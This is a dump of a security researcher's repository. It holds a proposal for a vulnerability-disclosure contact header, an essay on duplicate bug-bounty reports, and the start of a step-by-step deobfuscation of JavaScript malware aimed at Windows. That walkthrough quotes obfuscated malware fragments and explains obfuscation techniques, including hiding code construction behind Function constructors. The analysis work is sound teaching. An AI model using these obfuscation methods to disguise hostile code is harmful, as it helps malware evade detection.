Repository: bl4de/research Branch: master Commit: 3a09ddab1b5e Files: 29 Total size: 1.5 MB Directory structure: gitextract_qrnb0wck/ ├── .gitignore ├── README.md ├── VACS-draft.md ├── burp-chromium-setup/ │ └── README.md ├── hidden_directories_leaks/ │ └── README.md ├── how_to_deal_with_dupes/ │ └── hot_to_deal_with_dupes.md ├── javascript-malware-obfuscation/ │ ├── Simple_JavaScript_malware_code_obfuscation_examples.md │ ├── do_not_run.js │ └── do_not_run_deobfuscated.js ├── npm-static-servers-most-common-issues/ │ └── npm-static-servers-most-common-issues.md ├── params.json ├── pwnlab-walkthrough-INCOMLETE.txt ├── raa-ransomware-analysis/ │ ├── README.md │ ├── execution-flow-chart.txt │ ├── extracted/ │ │ ├── dec_cmd_decrypted.js │ │ ├── extracted_rtf.rtf │ │ ├── file01 │ │ └── file01_part.xml │ └── work/ │ ├── test.js │ ├── tmp.js │ ├── tmp2.js │ └── tmp3.js ├── simple-markdown-playground/ │ ├── react-dom.js │ ├── react.html │ ├── react.js │ └── simple-markdown-modified.js └── snippets/ ├── from_shell_injection_to_root.txt ├── mysql_loadintooutfile_backdoor.txt └── rpc.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ hidden_directories_leaks/assets.zip snippets/sqlite_sqlinjection_research.txt .idea/ */**/.idea ================================================ FILE: README.md ================================================ #### Most common security vulnerabilities in npm static content/file servers modules https://github.com/bl4de/research/blob/master/npm-static-servers-most-common-issues/npm-static-servers-most-common-issues.md #### Hidden directories and files as a source of sensitive information about web application Some analysis about how to get information about web application from folders like _.git_ , _.idea_ and similar. https://github.com/bl4de/research/tree/master/hidden_directories_leaks As a part of this, I'm working on tool (in Python) to extract data from revealed Git repositories: https://github.com/bl4de/security-tools/tree/master/diggit #### RAA Ransomware JavaScript code analysis Detailed, step-by-step analysis of RAA ransomware, created entirely in JavaScript https://github.com/bl4de/research/tree/master/raa-ransomware-analysis #### Simple JavaScript malware code deobfuscation walkthrough JavaScript malware code deobfuscation step-by-step walkthrough https://github.com/bl4de/research/blob/master/javascript-malware-obfuscation/Simple_JavaScript_malware_code_obfuscation_examples.md ================================================ FILE: VACS-draft.md ================================================ July, 2016 ## Introduction We're living in the Net. All our data, communication, money, work, almost everything depends on billions of zeros and ones traveling all around the world in every single second. We're living in information age and there's no doubt it will be changing our lives more and more in the nearest future. But there's also different story. There are thousands of people trying to steal those data and use them to do bad things. Cybercrime is raising, like never before, and we all should do something to stop this. Things already started to change. Companies like Google, Yahoo!, Mozilla, Microsoft and many others actively support IT Security community providing Bug Bounty programs, looking for software vulnerabilities and sharing knowledge. Conferences like DefCon, BlackHat, CanSecWest, OWASP AppSec and many others all around the world allow people to learn and share information, experience, tools and even more knowledge. Couple of years ago, a new popular way to improve IT security emerged. Bug bounty platforms, like HackerOne, BugCrowd, Synack and Cobalt started to attract companies to run their own Bug Bounty programs. There are hundreds of bug bounty programs running right now with many more to come in the next years. In those programs, thousands of Ethical Hackers, both professional and amateur, young and old, advanced and beginners, men and women, looking for bugs in software, websites, web applications and helping to fix security issues. They are all working for safer web and safer software. They helped to fix tens of thousands security issues so far, providing safer web for all of us. But unfortunately this is not enough. There are millions of websites and web applications in the Internet right now. And as the recent report from Acunetix points - approximately 55% of 45,000 websites (more than a half of forty five thousands) contain at least one serious vulnerability (XSS, SQLi, Remote Code Execution, Local File Include, Remote File Include). And, what is more important, there's almost 9% more than in 2015. As 45,000 is a quite big probe, we can assume that this problem exists in larger scale as well. **This is just a disaster. Couple of weeks ago World Wide Web celebrated its 25th Anniversary. And after 25 years - we're still not able to provide secure websites** ## What is this all about, really? Information. Why so many websites are still so vulnerable? The reason is relatively simple. I found that **in many cases the problem is that website owner simply don't know about vulnerability in their own website**. And this is one thing we should change as soon as possible. Let's be honest - in many cases everything starts from relatively simple level. Let's take a look at some examples: - outdated software like not patched CMS or online e-commerce engine - "selfmade" CMS system with simple SQL Injection, Remote Code Execution or similar high risk vulnerability - Stored XSS vulnerability allowing to steal website administrator credentials and gain access to admin panel - Reflected XSS which allows to inject malware via phishing attack - weak credentials for remote server access, easy to bruteforce, dictionary attack or just trivial to guess - left folders from Git, SVN or any other source version control system repository, which allows to download and read source code - Local File Include vulnerability giving access to website source code contains database credentials - administration panels hidden behind "secret" urls or with very weak credentials (again, easy to guess, bruteforce or exploit with dictionary attack) All vulnerabilities above have couple of things in common: - they are relatively simple to find and prevent - they are also **very simple to find by cybercriminals too** - they are **very easy to exploit** This is not a rocket science and every day I am surprised I can find any of those listed vulnerabilities in just couple of minutes. I did some experiment recently and started to look for vulnerable websites during my lunch break (~30 mins), based on simple Google dorks. I was able to find from five to even twenty vulnerable websites while eating my sandwich (XSS, SQL Injection and LFI were the Top 3). When I find problem in my code, I'm resolving it. If it's a security problem, I'm resolving it even faster. **If I find security problem in someones else code, I'm trying to inform the right person immediately to allow them to fix their code.** In almost every single case, **the problem is that I don't know who exactly I have to or should to notify**. I dig around, obviously 'Contact' and 'About us' are the first places I go. Sometimes I find email like _info@companyname.com_, if I am lucky it's even better, like _webmaster@companyname.com_ If I find something like this, I send my standard notification email where I introduce myself with my full name and surname, what I do and why I contact. Then, I nicely ask about contact information to responsible person which I can provide Proof of Concept of vulnerability, screenshots (if needed) and all technical information about vulnerability I've just found. I do this because I care about web security and I want to help. Really. This is how I can help to make web better and safer place. This is one of many ways I am doing this. Almost in every case I'm trying to provide sample scenario how vulnerability can be used by cybercriminals (eg. phishing attack or maybe even data breach) **My notification email to response ratio is about 20 to 1. Yes, for every twenty emails sent with vulnerability description I'm receiving approximately one response. If any.** Another problem occurs when I just can't find any contact information on the website. In such cases I start to dig for social media accounts, like Twitter or Facebook and try to reach someone using one, if found. So far, it's even worse than emails. **Almost nobody responses using this communication channel even if I see that account is active and fresh tweet or post on Facebook appeared online an hour or day earlier** ## Let's summarize problems we found so far In typical website, either private or corporate, two or three problems occur: #### Problem number one I can not find any IT stuff contact information even if this is very big, well known brand (company), except some _webmasters@company.com_ from almost always I did not get any response anyway, so it's totally useless. #### Problem number two Nobody really cares about what I found. And this is even bigger problem than the first one, because it is a proof that IT Security is **not important** for website owner and I suppose it's not a problem with their website only but with whole IT infrastructure. Nowadays, where cybercrime is a real threat - it's incomprehensible. I'ts **stupid**, it's **ignorance**, it's **lack of basic knowledge of security** #### Problem number three This one is specific for big companies. Internal procedures. Exchange information between departaments. Find the right people to do the right job. The truth is that meetings, conference calls, Excel spreadsheets and "Judy from HR has a new boyfriend" in the kitchen - **they all do not resolve any problems**. Information like mine get stuck somewhere between PR, Marketing and this strange guy from IT which nobody knows, because he is quiet and does not go to company Friday Lunches - somewhere in the middle of Big Company Nowhere. ## Vulnerability Alert Contact Standard proposition In the last couple of years lot of things in security have changed in web browsers and HTML5 specification. CORS prevents website from JavaScript access from other domains. HTTPS is now forced to be default way to communicate between client and server and HSTS header does its job here. XSS Auditor engines in WebKit/Blink-based browsers defends users against obvious XSS attack vectors. Content Security Policy provides a simple way to define scope for resources like JavaScript, CSS and media external sources as well as rules for executing inline JavaScript code. Cookies become more secure thanks to HTTP Only and Secure flags. All the things seemed to be moving to the right direction. But in case of vulnerability still one thing left to be done - someone has to be notified about one to be aware of it and fix it. So far, the best way to do this is by dedicated contact information provided. LinkedIn's https://security.linkedin.com/vulnerability-disclosure is one of examples. Running bug bounty program on platforms like mentioned earlier HackerOne or BugCrowd is even better. But we're not talking about such companies. We're talking about hundreds of thousands of others. My proposition is to provide **Vulnerability Alert Contact Standard** specification, which will allow to setup contact information **in case of vulnerability report only** in form of standard HTML meta tag or custom server HTTP response header (like X-XSS-Protection), dedicated email address (similar to _abuse@companyname.com_) or any other contact form. **My idea is something like 112 (or 911 in US) phone number** - if there's something wrong going on, you just pick up the phone and call that number. **VACS should be something you can use when there is something wrong (from security perspective) with the website you're visiting** ## Technical details of VACS standard ### HTTP Respone header First way to provide VACS contact details is to send dedicated HTTP header in server response. We already have something similar. This is **Content-Security-Policy-Report-Only** HTTP header and it does exactly what its name points to - in case of violation of Content Security Policy rule this header provides ```report-uri``` property, where report should be sent by the browser. In the same way VACS header(s) could be provided: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Vulnerability-Alert-Contact: a.smith@companyname.com ``` To prevent from less sophisticated spam attacks, format of email address in header could be defined in two separate fields: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Vulnerability-Alert-Contact: a.smith Vulnerability-Alert-Contact-Domain: companyname.com ``` In this scenario full VACS email address will be: ``` a.smith@companyname.com ``` Domain header also could be simplified just by directive ```same-domain```, which points to website domain: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Vulnerability-Alert-Contact: a.smith Vulnerability-Alert-Contact-Domain: same-domain ``` In this scenario full VACS email address for https://google.com will be composed to following one: ``` a.smith@google.com ``` ### HTTP <meta> tag Another way to provide VACS contact could be implemented as HTML `````` tag in ```
``` section. The meaning of this tag is exactly the same as in HTTP header: ```HTML
source:https://twitter.com/abhijeth/status/915747406938963968
__Bug was there and you have found it__, exploit it and gain remote code execution in something you have no idea how it works earlier. Remember that bug bounty hunting is almost always a 'black box' in penetration testing methodology - that means you have no idea what's under the hood until you actually dig into.
It's not your fault when you end up with duplicate. Remember - there will be always someone better than you (just look on the Leaderboard and compare your position and number of bugs found :) ). But if you can find very, very severe bugs in the same fashion like @Mr Hack, @meals, @Geekboy, @mongo, @yappare, @zseano or @mlitchfield - nothing can stop you from heading to the Top!!!

- it's always good to win. How to deal with defeat is much harder to learn. Duplicates can teach you persistence, patience and something which I did not realized until I found valid, triagged and resolved later bug in the same program I've found duplicate couple of days earlier - getting up after you have felt down (mentally ;) ) It's all about __don't giving up__.
Don't think in short term - 'Oh God, it's a dupe! I'm doomed :('. Think in the long term. For every duplicate you get, there are (or will be) two, three, five or ten valid reports. Duplicates are, from their nature, impossible to omit. __Always remember you are not the only one hunting for bugs__. This is especially important in most popular, public programs out there like Yahoo, General Motors, Uber, Shopify or VK.com.
Just look at the numbers of bugs found in those programs. Hundreds, even thousands (like Yahoo). How many of them were accompanied with five, ten or twenty duplicates? Many. It's inevitable.
Yes, dupes are a part of bug bounties. Hunt with this in mind.

### How to avoid duplicates. If it's even possible.
Short answer - no, it's not possible due to all reasons I've already explained earlier. But there are some simple methods you can use to at least try to avoid obvious dupes (trying is good, always remember Offensive Security motto: __Try Harder!__):
- if you are working on new program (let's say in the first 48 hours after program went out public) - any __low hanging fruit__ like Reflected XSS in 'Search' input, Open Redirect in URL, hardcoded credentials in HTML or JavaScript source, SQL Injection on ID parameter in URL or Local File Include in something like _index.php?include=about/careers.php_ are already reported if you did not spot them in first 5 minutes of program life.
Deal with this. New public program is the most desired thing on any bug bounty platform nowadays. There are roughly five to ten thousands active researchers on HackerOne and probably on Bugcrowd as well - from the other point of view public programs don't start very often.
For guys without wide choice from private programs to work on - it's the only way to gain Reputation (I was starting in exactly the same way). So there will be hundreds of them there already.
Chances that you will be first to spot low hanging fruit are very small. Tiny little one.
- if public programs are the only option for you for now, try to find one with as wide scope as possible
Start from looking at Hacktivity (feature on HackerOne which allows to see all resolved reports, many of them with full disclosures) in such program. What types of bugs are the most popular? Which services are most attacked? How many bugs were resolved so far? How many researchers were revarded? When the last bugs were disclosed?
You should look for programs where:
- scope is wide as mentioned earlier - the best examples for me are so far Yahoo and __General Motors__. Especially second one looks interesting, because literally __everything__ is in scope. I was able to report the weirdest issues I was able to spot, some of them with almost no or very little security impact. Every report I've sent to GM program was triaged and GM Security Team never left any of vulnerability I've found not triaged or without any response.
Another worth to mention program with very wide scope is __US Departament of Defence__ bug bounty program available on HackerOne platform. This program has very well defined scope, without any exclusions:
```
Any public-facing website owned, operated, or controlled by DoD, including web applications hosted on those sites.
```
The result is that for 29 reports I've sent to GM program so far, only 7 were not fully resolved - including __five of them__ were actually duplicates (plus two closed as 'Informative' without any security impact for GM and Reputation for me). Only 5 dupes in 29 reports in total, in public program which runs for two years and has about one hundred hunters involved so far is quite good result I think.
- there are many different categories of reported issues
If program scope contains only one target and almost all reports are Reflected XSS - if you found one, chance that this will be duplicate is bigger than when there are various types of vulnerabilities, because that means the target is pretty vulnerable and not well developed. If there are many vulnerabilities based on lack of input validation, both on client and server side - try to focus on something more severe.
- if program is very active and there were reports resolved in last couple of days - probably is very popular and many bugs are found on daily basis
That means only one thing - getting duplicate is more likely here than in program which has last resolved reports dated in weeks or even months. In that case this could mean targets in scope are pretty hard to hack, thus has not so many low hanging fruits, requires more work involved to spot vulnerability and vulnerabilities are not that easy to exploit due to WAFs, sanitization of user input or stack used to build - it can be something not as popular as LAMP or Ruby on Rails (like Go - I was able to find only one web application written with Go in programs I am dealing with).
- if you have software developer background like me - maybe try to focus on programs with open sourced codebase (like my favourite concrete5, where I hold 2nd position with 12 resolved reports and 4 duplicates)There are not as many researchers looking for issues in such programs by analyzing source code.
When you have source code in front of your eyes, build with language(s) you are familiar with for years and you know what to look for - chances that you will find something really severe are very high. Also, there are many vulnerabilities which are almost impossible to find in traditional, black-boxed hunting based on fuzzing with common payloads, like nuances in business logic which allows to gain privillege escalation or get code execution because of some old, hidden functionality or that one weird 'if' condition which is true only for someone with username 'JenniferL' ;)
### Let duplicates to become your best friends!

Duplicates are good. Try to like them for all that knowledge you gain from them. They won't harm your Reputation as much as Informative or Not applicable. The last ones is something you have to avoid __always__. It's actually pretty easy:
- read the scope, very carefully.
It's the easiest part. 'Out of scope' means out of scope. Don't even try to report anything shich is included in 'Out of scope' section of program description.
There are some vulnerabilities you maybe found in some resource marked as out of scope but you believe it can hurt program very badly. In such case - try to contact program maintainers directly and ask them if they will consider your finding as valid and will accept it. If yes - don't forget to mention about this in your report. Best thing is to attach mail communication with program team member, where there is clear statement that program will accept your submission. The person you inform about it might not be the same which will investigate your report and it's better (and saves time on both sides and avoid unnecessary closing and reopening report several times) to keep things clear from the beginning.
Besides this one exception - __never, ever report anything which is out of scope__. Just don't. It's a golden rule of your good reputation on bug bounty program.
If you won't follow this rule - you will end up with negative Signal and your reputation will go down very quickly, which in fact ruins all your chances for any invitation to private program in the nearest future.
Last, but not least - every dupe adds 2 points to your Reputation (on HackerOne platform) when original report gets resolved. It's not 7 points as for resolved one, but still something better than 0, isn't it? :)
Now, let's get into some metric details related to duplicated reports on Bugcrowd and HackerOne.
### Bugcrowd Bounty Platform Metrics related to Duplicates (by @jhaddix)
Another way to look at Duplicates optimistically is that they offer a newer bug hunter some opportunity to receive private program invites. The criteria for Bugcrowd's invites are as follows:

In this system, duplicates do NOT impact your average submission priority so if a researcher reports two issues: one an accepted :P1: and another duplicate :P1: their average submission priority is still 1.0.
The standard points value of duplicates is as follows:
```
accepted: {
p1: 40,
p2: 20,
p3: 10,
p4: 5
},
duplicate: {
p1: 10,
p2: 5,
p3: 2,
p4: 1
},
rejected: {
not_applicable: 0,
not_reproducible: -1,
out_of_scope: -1,
wont_fix: 0
}
```
Duplicates are definitely still benefiting bug hunters! As you accrue points and reputation you are bound to get more private program invites!

### HackerOne Metrics related to Duplicates.
HackerOne reputation system defines that every duplicate report is worth 2 Reputation points, no matter of severity or how many reputation points original report gets. Based on this, you shoud be aware of negative impact of duplicates on your Signal Metric. Signal (in HackerOne terminology) is an average Reputation points gained by report (without additional points gained for monetary bounties).
If you are sending only valid reports, your reports are first every time and triaged and resolved - your Signal will be no more or no less than 7.00. If you are able to keep that Signal all the time - you're doing brilliant job there!

Unfortunately, it's not possible in the long term and duplicates are one of the reason of this. But no worries, having Signal like 4.50 or 5.20 is perfectly fine. As long as your Signal won't fell down to -2.34 for example, because that means you're sending a lot of 'Not applicable' reports, which costs you literaly minus five Reputation points.
So even if duplicates harms you from time to time - the good news is they actually increases your Reputation and it's not possible to end up with negative Reputation.
Better this than nothing, right ;) ?

### Final words
At the moment I'm writting these words, I have 63 reports in total (closed and triaged) where 13 of them are duplicates. But even though they cost me 65 points of Reputation less (13 * 2 instead of 13 * 7) - I've learnt a lot from them. In my dupes there are reports including vulnerabilities like:
- time-based SQL Injection in ASP.NET+MSSQL application (I was not very good at exploiting this stack, so it was good lesson)
- another SQL Injection in ASP.NET application (yeah, it seems I am not very lucky with ASP stack ;) ) - again, it requires from me a lot of work to exploit this one as well
- Stored XSS (couple of them in various programs)
- Reflected XSS including two found in 'Search' features (one I've found in Starbucks, about an hour after it went public - classical low hanging fruit found by someone probably in first minutes, it was so obvious that it was impossible to get this not duplicated after the whole hour :D )
I can't even say how much time I've spent on all of them in total, how many blog posts I've read. For sure my skills in writting custom tools and exploits in Python were improved. I have to read almost every whitepaper about exploiting SQL Injections in ASP.NET+MSSQL applications available in the whole Internet (I'm pretty familiar with this right now and it will be much easier for me to exploit such vulnerabilities in the future). And I don't know how many new XSS payloads I've used, including reading probably all posts on @Brute's blog (thanks Brute!)
I hope you will look at every single duplicate you'll get in the future in different way, as I've used to. Of course, I wish you not too many of them! But getting duplicates is a part of being Bug Bounty Hunter, like being hit in the face is pretty normal for every boxer in the world :)
Now, tell me, duplicates aren't that bad as you might think, are they?

:)))
__Kudos for Jason Haddix (@jhaddix) from Bugcrowd for adding information about duplicates in Bugcrowd platform.__
Happy Hunting!
bl4de
================================================
FILE: javascript-malware-obfuscation/Simple_JavaScript_malware_code_obfuscation_examples.md
================================================
# Simple JavaScript malware code deobfuscation walkthrough
__WARNING! Files ```do_not_run.js``` and ```do_not_run_deobfuscated.js``` contains Windows-targeted malware written in JavaScript and prepared to run with Windows Script Host (WSH) engine and can potentially harm your machine if you'll try to run them directly.__
__As I do not have Windows machine and did not test it on any Windows version, I can't give any warranty those files are safe to run on Windows. If you will decide to run them, it's up to you.__
---
## Table of contents
- [First look](#first-look)
- [Entry point - IIFE](#entry-point---iife)
- [Basic obfuscation methods - expressions, comma operator, parseInt() and toString() method](#basic-obfuscation-methods---expressions-comma-operator-parseint-and-tostring-method)
- [Getting function constructor](#getting-function-constructor)
- [Logical operators tips and tricks](#logical-operators-tips-and-tricks)
- [Summary](#summary)
A couple of days ago my colleague found a piece of malicious JavaScript on his Windows machine. Luckily, this code did not run and did not harm his system.
I decided to take a look at it and go through the code. What I've found were quite simple, but still interesting methods to obfuscate JavaScript code. I'd like to explain some of them as they base on some JavaScript less known quirks - they still can be found in documentation, however in production code we do not use it very often.
This writeup is intended for beginner JavaScript developers and/or malware analysis. I will explain everything while doing code deobfuscation step by step.
## First look
If you open file ```do_not_run.js``` from this repository (it contains legacy malware code) in text editor (I __strongly recommend you not to run it if you're on Windows machine__ :-) ) - you'll see a big mess, hard to read, hard to figure out what's going on - but it's still valid and working JavaScript code.
How it's even possible?
## Entry point - IIFE
Everything starts from top-level IIFE (Immediately Invoked Function Expression). This is a way to run function in JavaScript without calling it directly.
Consider example:
```javascript
function hello(message) {
console.log(message)
}
```
If you try to run this code, nothing will happen. To make it work, you have to call function ```hello()``` passing some message as an argument:
```javascript
function hello(message) {
console.log(message)
}
hello('This is test')
```
Now, you should be able to see ```This is test``` message displayed in your browser (or Node) console.
Let's make IIFE from this code:
```javascript
(function hello(message) {
console.log(message)
})('This is test')
```
And some magic happen - even without calling ```hello()``` function, this piece of code works. How it's possible?
* parenthesis around function definition makes a valid JavaScript expression from it. Expression is the simplest piece of code which returns a value (like ```2+2``` which is also valid JavaScript expression).
* parenthesis with ```This is test``` __runs__ the function passing an argument to it. Technically, ```(fn(x){})(x)``` is equivalent of ```fn(x)``` definition and call in one.
---
IIFE recommended read
https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20%26%20closures/ch3.md#invoking-function-expressions-immediately
---
In our malware sample we have similar call:
```javascript
(function(quhuvu6) {
// ...
}("41553a304f0b442551284206" + "672651014d1e1a60127" + ...
```
This causes malware runs on its own; passing some very, very long ASCII string as an argument for IIFE. Then, first line inside this function is run:
```javascript
var defiq = cicuza(quhuvu6);
```
The result saved in variable ```defiq``` is an array of decimal values, with about 9000 elements. Function, which transforms ASCII string into this array uses couple of tricks, which now we'll analyze in details.
## Basic obfuscation methods - expressions, comma operator, parseInt() and toString() method
First, take a look at ```cicuza()``` function, before we'll go through and simplify it to more clean and readable version:
```javascript
function cicuza(syhri) {
var fahomyfo = [];
for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) {
fahomyfo[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
}
return fahomyfo;
};
```
First step - let's rename ```fahomyfo``` to something meaningful. Names like this are very common in malware - it's just some way to hide real purpose of each variable or function.
In ```cicuza()``` variable ```fahomyfo``` is declared as an array and then, after some logic in ```for``` loop - returned as a result.
So let's name it ```result```:
```javascript
function cicuza(syhri) {
var result = [];
for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) {
result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
}
return result;
};
```
Ok, now, let's see what's going on in ```for``` loop. First part is to define initial value of variable which determines start value:
```javascript
for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; ....
```
So, what ```parseInt((0).toString(36))``` does?
First call is ```(0).toString(36)``` - this code contains two chained operations:
* ```(0)``` is an expression, which value is number 0
* ```.toString(36)``` is a method which returns String representation of JavaScript object. Every object in JavaScript contains this method. When ```toString()``` is called on primitives, like 0 in this case, this primitive value is converted into object (of type Number), then toString() is called on this object and finally new primitive (string) is returned.
When ```toString()``` is called on Number object, additional argument can be passed. This argument is an integer between 2 and 36 specifying the base to use for representing numeric values. So, if ```toString(36)``` is called, argument represents base 36 - Hexatrigesimal system with digits represented by numbers 0-9 and letters a-z. Why it's important we'll see in further steps. Now,
because 0 in any system is still 0, ```(0).toString(36)``` returns... 0.
* second call, ```parseInt(0)``` returns 0 as well. ```parseInt()``` is a function which parses any passed string into Integer and returns it or, if such conversion is not possible, returns ```NaN``` (which is JavaScript representation of ```Not a Number``` value). In this case, it's just 0 parsed to Integer - results in 0 itself.
Finally, ```parseInt((0).toString(36))``` is just a way to represent 0. But did you notice how many operations has to be done? This is what code obfuscation in JavaScript is all about - to make code as complicated as it's possible even if all we need is just 0.
Let's also rename ```segovmiw4``` into ```i```, which is popular name for iterator variable inside ```for``` loops.
So after our first analysis, our code becomes:
```javascript
function cicuza(syhri) {
var result = [];
for (var i = 0; i < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; i += parseInt((2).toString(36))) {
result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
}
return result;
};
```
---
Number.toString() documentation
http://devdocs.io/javascript/global_objects/number/tostring
Hexatrigesimal system converter
http://www.calculand.com/unit-converter/zahlen.php?zs=36
---
Now, let's focus on what's exactly going on in this piece of code:
```javascript
i < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")];
```
We know that ```syhri``` is string. As we know, we can read strings using indexes like in ```Array``` type. ```String[0]``` means first character of the string, ```String[1]``` second character and so on.
String has also a property ```length```, which represents its length in bytes.
But, what's this strange ```("F", "T", "H", "e")``` construction means? Figure it out:
* as I mentioned earlier, everything inside () is an expression. ```("F")``` is an expressions which value is char "F":

* comma operator ```,``` separates values and only __the last one__ is used. Consider this example:

Now, combine those two things together:

What was assigned to ```value``` was the last char (comma operator) returned from () expression.
Back to our malware, we can read four first chars inside ```i < syhri[...]``` which are: ```l```, ```e```, ```n``` and ```g```.
Fifth one is again construction explained earlier, but this time, ```toString(36)``` is called on Number 29 - so ```(29).toString(36)``` returns 29th cipher in Hexatrigesimal system, which is ```t```. Last one expression returns ```h``` and finally, after concatenation with ```+``` operator - we can found ```syhri["length"]``` as a result.
Also we can rename ```syhri``` into something friendly, like ```val``` and deobfuscate last part of ```for``` loop - ```parseInt((2).toString(36))``` is just 2.
Great, what we've got so far then?
```javascript
function cicuza(val) {
var result = [];
for (var i = 0; i < val["length"]; i += 2) {
result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(val["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
}
return result;
};
```
We simplify the whole ```for```. Now, it's time to do the same with the expression inside the loop.
Using the same methods, we find ```result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"]``` is equal to ```result["push"]```. What's that mean?
As we know, in JavaScript we can call any Object property, like methods, using a dot notation. For example, if we have an array named ```arr```, we can call its ```push()``` method using ```.```:
```javascript
let arr = [] // declare Array object named arr
arr.push(10) // adds 10 as a first element of Array arr
arr.push(20) // adds 20 as a second element
console.log(arr) // prints [10, 20]
```
But, we can also call __any__ method or Object property using ```[]``` operator. In this case, ```Object["propertyName"]``` is the same as ```Object.propertyName``` The code above can be simply rewrite into this one:
```javascript
let arr = [] // declare Array object named arr
arr["push"](10) // adds 10 as a first element of Array arr
arr["push"](20) // adds 20 as a second element
console.log(arr) // prints [10, 20]
```
So ```result["push"]``` adds value to ```result``` array. And this value comes from following expression:
```
parseInt(val["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )
```
Fragment ```["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")]``` returns name of ```substr``` function - one of the String object method which just returns part of the string. ```substr()``` accepts one or two arguments: first one is the index of first char of returned part and second one (optional) is a length of this part. If second argument is not passed, ```substr``` returns everything starting from position passed as first (and only) argument.
Consider examples:
```javascript
let s = "Malware"
console.log(s.substr(0,2)) // Ma
console.log(s.substr(2,4)) // lwar
console.log(s.substr(3)) // ware
```
So far, we get:
```javascript
parseInt(val["substr"](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )
```
We can see that in this case two arguments are passed to ```val["substr"]``` and they are ```i``` which is ```for``` loop current iterator value and 2 (result of expression ```(85, 19, 84, 9, 2)```:
```
val["substr"](i, 2)
```
Last part is ```parseInt((42).toString(0x24))```. As we know, it parses 42 into Integer using ```0x24``` base. ```0x24``` is a hexadecimal value equals decimal 36. So finally we get 42 converted into String using Hexatrigesimal system:

How it works? in Hexatrigesimal system we have 36 ciphers and ```35``` decimal is equal to ```z``` in hexatrigesimal. 36 becomes 10, 37 becomes 11, 38 becomes 12 and so on, so 42 becomes 16. As result of ```parseInt((42).toString(0x24))``` is simply ```parseInt(16)``` - finally we get just 16 (because ```parseInt(16)``` equals 16 itself)
This is our deobfuscated ```cicuza()``` function (notice I've changed ```[]``` method calls into ```.``` notation):
```javascript
function cicuza(val) {
var result = [];
for (var i = 0; i < val.length; i += 2) {
result.push(parseInt(val.substr(i, 2), 16));
}
return result;
};
```
Now we can see what this function actually does.
As ```val``` contains initial very, very long string passed as an argument to malware's top level IIFE, ```cicuza()``` iterates over it, substract every two characters, converts them from hexadecimal value into decimal one and finally pushes as an element of ```result``` array.
So as example - taking the first part of that very long string, which is ```"41553a304f0b442551284206"``` - 41 becomes 65, 55 becomes 85, 3a becomes 58, 30 becomes 48, 4f becomes 79 and so on. In the end, we end up with big array contains decimal values. And this array becomes as a value of ```defiq``` in our malware:
```javascript
(...)
var defiq = cicuza(quhuvu6); // here we are so far :)
var permy = "H@D~7a84O";
var paghimqycgi = {
getpy: "myqniroqa3"
};
(...)
```
---
substr() documentation
http://devdocs.io/javascript/global_objects/string/substr
---
## Getting function constructor
Very common method in obfuscation of JavaScript malware is to hide any function definitions and calls. Why? Take a look at this code:
```javascript
function doubleX(x) {
return x * 2
}
doubleX(10) // returns 20
```
It's obvious what this code does. This is not something what can be considered as sophisticated piece of malware code rather...
Let's try to obfuscate it a little:
```javascript
let xcf = new Function("x","return x * 2")
xcf(10) // returns 20 as well
```
How it works?
```Function``` is a special method in JavaScript, which constructs new function (it works as function constructor). As arguments it accepts list of arguments for function which should be returned and, as last argument - body of this created function.
So in our example with ```xcf``` - first argument passed into ```Function()``` is an argument for ```xcf```, and second one is body of ```xcf```. Finally, we get function works in the same way as ```doubleX()```.
Before we'll proceed, one important thing to mention here: __every__ function in JavaScript has a property named __constructor__, which in fact is a ```Function()``` itself:

We've declared an array object. Then, we check that ```a.forEach``` method has its own property called ```constructor``` - and it is ```Function()```.
Why do we need this?
Because now, to define ```xcf()``` function, instead of calling ```new Function()``` you can do something like this:
```javascript
let xcf = a.forEach.constructor("x","return x * 2")
xcf(10) // yep, it works! 20
```
